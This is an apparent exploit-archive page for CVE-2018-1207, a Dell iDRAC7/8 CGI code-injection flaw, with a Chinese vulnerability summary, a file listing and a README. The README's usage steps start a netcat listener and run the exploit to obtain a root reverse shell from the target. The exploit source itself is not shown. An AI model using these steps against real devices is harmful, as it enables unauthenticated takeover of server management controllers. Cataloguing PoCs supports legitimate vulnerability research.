Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-1207 PoC — Dell EMC iDRAC7和iDRAC8 代码注入漏洞

Source
Associated Vulnerability
Title:Dell EMC iDRAC7和iDRAC8 代码注入漏洞 (CVE-2018-1207)
Description:Dell EMC iDRAC7和iDRAC8都是美国戴尔(Dell)公司的包含硬件和软件的系统管理解决方案。该方案为Dell PowerEdge系统提供远程管理、崩溃系统恢复和电源控制等功能。 Dell EMC iDRAC7和iDRAC8 2.52.52.52之前版本中存在安全漏洞。远程攻击者可借助CGI变量利用该漏洞执行代码。
Description
Exploit iDRAC 7 & 8 firmware  <  2.52.52.52
Readme
# cve-2018-1207
Exploit iDRAC 7 &amp; 8 firmware  &lt;  2.52.52.52

## Description
Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability which could be used to execute remote code. A remote unauthenticated attacker may potentially be able to use CGI variables to execute remote code.

This code should cause the iDRAC service to open a reverse shell as the root user.

## Usage
Start your local listener:
nc -v -l -p local_port

`nc -v -l -p  5500`

Run the exploit:
python ./cve-2018-1207.py remote_host remote_port local_host local_port

`python ./cve-2018-1207.py 192.168.1.10 443 192.168.1.200 5500`

## Requirements
You need to have a version of `sh4-linux-gnu-gcc` installed, which currently is `sh4-linux-gnu-gcc-11`

You can install it with `apt install gcc-11-sh4-linux-gnu`
File Snapshot

[4.0K] /data/pocs/545bfc2d6b7f101335182dfab4b236d5345ca030 ├── [3.4K] cve-2018-1207.py ├── [6.7K] payload.so └── [ 820] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.